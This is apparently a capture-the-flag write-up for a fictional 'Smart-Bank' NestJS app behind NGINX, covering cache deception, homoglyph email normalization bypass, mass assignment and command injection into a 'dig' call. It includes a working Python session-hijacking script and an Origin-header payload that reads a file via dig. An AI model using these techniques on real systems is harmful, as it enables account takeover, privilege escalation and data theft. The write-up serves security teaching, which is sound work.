## TL;DR
The CTF challenge requires exploiting vulnerabilities in an application setup with NGINX as a reverse proxy and a backend application built using NestJS. The main vulnerabilities exploited include NGINX reverse proxy cache deception, normalization bypass, and mass assignment. The attacker was able to hijack another user's session, override their OTP secret, elevate privileges, and extract sensitive information.
### **Challenge Description:**
The challenge revolves around an application named "Smart-Bank". This web application offers standard banking features where users can:
1. **Register**: New users can sign up, providing personal details to create an account in Smart-Bank.
2. **Enable OTP (One-Time Password)**: For added security, users can enable OTP-based authentication. The application uses the user's email to handle OTP secrets, and these secrets are crucial for generating and validating the one-time passwords.
3. **Transactions**: Registered users can conduct transactions, sending funds to other users. Each transaction is recorded, and the transaction history, including details about the sender and receiver, can be retrieved.
4. **User Profiles**: Users can view and edit their profiles, checking their balance and other account details.
The application's backend is powered by NestJS and uses Prisma for database interactions. On the front, it uses Nginx as a reverse proxy. The challenge aims to exploit vulnerabilities present in these configurations and the application logic to achieve certain objectives.
## Vulnerable Parts:
### 1. NGINX Reverse Proxy Cache Deception:
**Description**:
The NGINX configuration allows caching of certain responses. This can lead to cache deception, allowing unauthenticated users to potentially retrieve cached responses.
**Relevant Code**:
The NGINX configuration provided shows the caching mechanism:
```
http {
proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=cache_zone:10m max_size=10g inactive=60m;
...
proxy_no_cache $http_cookie;
proxy_cache_bypass $http_cookie;
proxy_ignore_headers Set-Cookie Vary Cache-Control Expires;
proxy_cache cache_zone;
proxy_cache_key "$scheme$request_method$host$request_uri";
proxy_cache_valid 200 1s;
...
}
```
The configuration shows that caching bypasses requests with cookies (`$http_cookie`). However, if a request comes in without a cookie, it might fetch a cached response which might have been meant for a different user, thus exposing the `Set-Cookie` header. We just have to make a request that has the same key of the cached one in the interval of `1s`. (be careful to `$host$request_uri`)
### 2. Normalization Bypass in OTP:
**Description**:
The backend application's email normalization can be bypassed using homoglyph characters. This allows an attacker to craft email addresses that, once normalized, match an existing user's email, thereby enabling the attacker to override the OTP secret of the intended victim.
**Relevant Code**:
In `getUserOTPStatus`, the email is not normalized before being checked, so when checking in the database no result is returned:
```tsx
async getUserOTPStatus(email: string): Promise<boolean> {
try {
const user = await this.usersService.findOneByEmail(email);
if (!user) {
throw new NotFoundException("User not found");
}
return user.otpEnabled;
} catch (error) {
throw new NotFoundException("User not found");
}
}
```
This allows us to create our own `otpSecret`:
```jsx
async generateOTPSecret(
email: string
): Promise<{
secret: string,
qrcode: string
}> {
try {
const secret = speakEasy.generateSecret({
name: 'SmartBank transactions OTP',
})
const normalizedEmail = normalize(email);
await this.usersService.updateUserByEmail(normalizedEmail, {
otpSecret: secret.base32,
});
const qrcode = await QRCode.toDataURL(secret.otpauth_url);
return {
secret: secret.base32,
qrcode
}
} catch (error) {
throw new NotFoundException("User not found");
}
}
```
This function uses the normalized email to update the otpSecret allowing us to overwrite other users records by registering with their email replaced with some homoglyph characters.
### 3. Mass Assignment in User Update:
**Description**:
The endpoint for updating user data lacks proper validation and allows mass assignment. This means an attacker can update any field in their user record (except those alredy defined), including the `role` field, which controls user privileges.
**Relevant Code**:
In the `UsersController`, the PATCH method for updating user details does not have proper validation:
```tsx
@UseGuards(AuthenticatedGuard)
@Patch('/me')
async patchUser(
@Body() body,
@Req() req
): Promise<any> {
// todo: add validation via DTO
// ... omitted for brevity
const { password, otpSecret, otpEnabled, balance, createdAt, email, ...updateData } = body
const user = await this.usersService.updateUserById(req.user.id, updateData)
// ...
}
```
Since there is no dto associated, this code snippet allows for any field in the user record, except those alredy defined, to be updated, including the `role` field.
### 4. Command Injection via Transaction Origin:
**Description**:
The application invokes external commands with user-supplied input without proper sanitization. Specifically, the `investigate` function in the `TransactionsService` calls the `dig` command with the `thirdPartyOrigin` value, which an attacker can control.
**Relevant Code**:
Here's the `investigate` function from the `TransactionsService`:
```tsx
// ...
async create(
req: any,
createTransactionDto: SubmitTransactionDto
) {
// ...
try {
const transaction = await this.prismaService.transaction.create({
data: {
...createTransactionDto,
senderId: req.user.id,
thirdPartyOrigin: req.headers.origin ? this.securityService.sanitizeInput(req.headers.origin) : null
}
});
return transaction;
}
// ...
async investigate(id: number) {
const transaction = await this.findOneById(id);
if (!transaction.thirdPartyOrigin) {
throw new UnprocessableEntityException('Transaction does not have a third party origin');
}
const { stdout, stderr } = await execAsync(`dig any ${transaction.thirdPartyOrigin}`);
// ...
}
```
The `dig` command is executed with the `thirdPartyOrigin` value, which can be manipulated for command injection.
## Solution:
1. **Session Hijacking**:
- A multi-threaded Python script was crafted to send requests to the application. Whenever the response contained a 'Set-Cookie' header (indicating a cached response), the attacker tried accessing the user's endpoint with the captured cookie. This allowed the attacker to hijack a session of a user with a non-zero balance.
```jsx
import requests
import time
import threading
URL = "http://10.90.230.167"
USER_ENDPOINT = "/users/me"
THREADS = 10
prox = {"http":"127.0.0.1:8080","https":"127.0.0.1:8080"}
headers = {
"Host": "smart-bank.local"
}
lock = threading.Lock()
success = False
def worker():
global success
while not success:
response = requests.get(URL, headers=headers)
if 'Set-Cookie' in response.headers:
cookie = response.headers['Set-Cookie']
time.sleep(5)
user_headers = headers.copy()
user_headers["Cookie"] = cookie
user_response = requests.get(f"{URL}{USER_ENDPOINT}" , headers=user_headers,allow_redirects=False, proxies=prox)
if user_response.status_code == 200:
with lock:
success = True
print(f"Successful user endpoint response with cookie: {cookie}")
time.sleep(0.5)
threads = []
for _ in range(THREADS):
t = threading.Thread(target=worker)
t.start()
threads.append(t)
# Wait for all threads to complete
for t in threads:
t.join()
```
2. **OTP Override**:
- An account was created with an email address that, when normalized, matched an existing user's email (e.g., using "ⅿ.kock@smartbank.local" to match "m.kock@smartbank.local"). By initiating the OTP generation process, the attacker was able to override the OTP secret of the target user.
3. **Privilege Elevation**:
- Use the hijacked session to login as the target user. Using the mass assignment vulnerability in the `/users/me` endpoint, the attacker updated the `role` field of their user record to 'supervisor', elevating their privileges within the application.
4. **Extraction of Sensitive Data**:
- With supervisor privileges, the attacker created a transaction with the Origin header set to `-f /flag.txt`. When visiting `/supervision/transactions/id/inspect` the backend executed the `dig` command with this input, inadvertently revealing the contents of the `/flag.txt` file.
By chaining these vulnerabilities together, the attacker was able to gain supervisor access and retrieve sensitive data from the application.
## Unintended Vulnerabilities:
### 1. OTP Secret Exposure:
**Description**:
The endpoint designed to retrieve user transactions inadvertently exposed the `otpSecret` of users. This means that an attacker could directly obtain the OTP secret for a user without needing to exploit the email normalization vulnerability to override it.
**Relevant Code**:
In the `SupervisionController`, the `getUser` method retrieves user details and attempts to omit the `password` and `otpSecret` fields. However, this filtering was not applied to the `getUserTransactions` method, leading to potential exposure:
```tsx
@Get('users/:id')
async getUser(
@Param('id') id: number,
) {
const user = await this.usersService.findOneById(+id);
const { password, otpSecret, ...result } = user;
return result;
}
@Get('users/:id/transactions')
async getUserTransactions(
@Param() param: any,
) {
return this.transactionsService.findAllByUserId(+param.id);
}
```
The `getUserTransactions` method could expose transaction details, including the `otpSecret`, if not properly handled in the `TransactionsService`.
### 2. Missing Whitelisting in DTO Validation:
**Description**:
The application doesn't utilize the `ValidationPipe` module of NestJS with the `whitelist` option enabled. This means that Data Transfer Objects (DTOs) allow any unspecified fields to pass through. As a result, during user registration, an attacker could directly set a high `balance` for their account without having to transfer funds.
**Relevant Code**:
```tsx
import { IsNotEmpty, IsEmail, IsString } from 'class-validator';
import { Match } from './match.decorator';
export class CreateUserDto {
@IsNotEmpty()
name: string;
@IsEmail()
@IsNotEmpty()
email: string;
@IsString()
@IsNotEmpty()
password: string;
@IsString()
@IsNotEmpty()
@Match('password')
passwordConfirm: string;
}
```
In the absence of the `whitelist` option in the `ValidationPipe`, any field not defined in the DTO (e.g., `balance`) would still be accepted by the endpoint. If the service layer doesn't adequately validate or ignore these fields, it can lead to unintended behaviors, like assigning oneself a high balance.
By understanding these unintended vulnerabilities, developers can gain insight into potential oversights in the codebase and further harden the application against both intended and unintended attack vectors.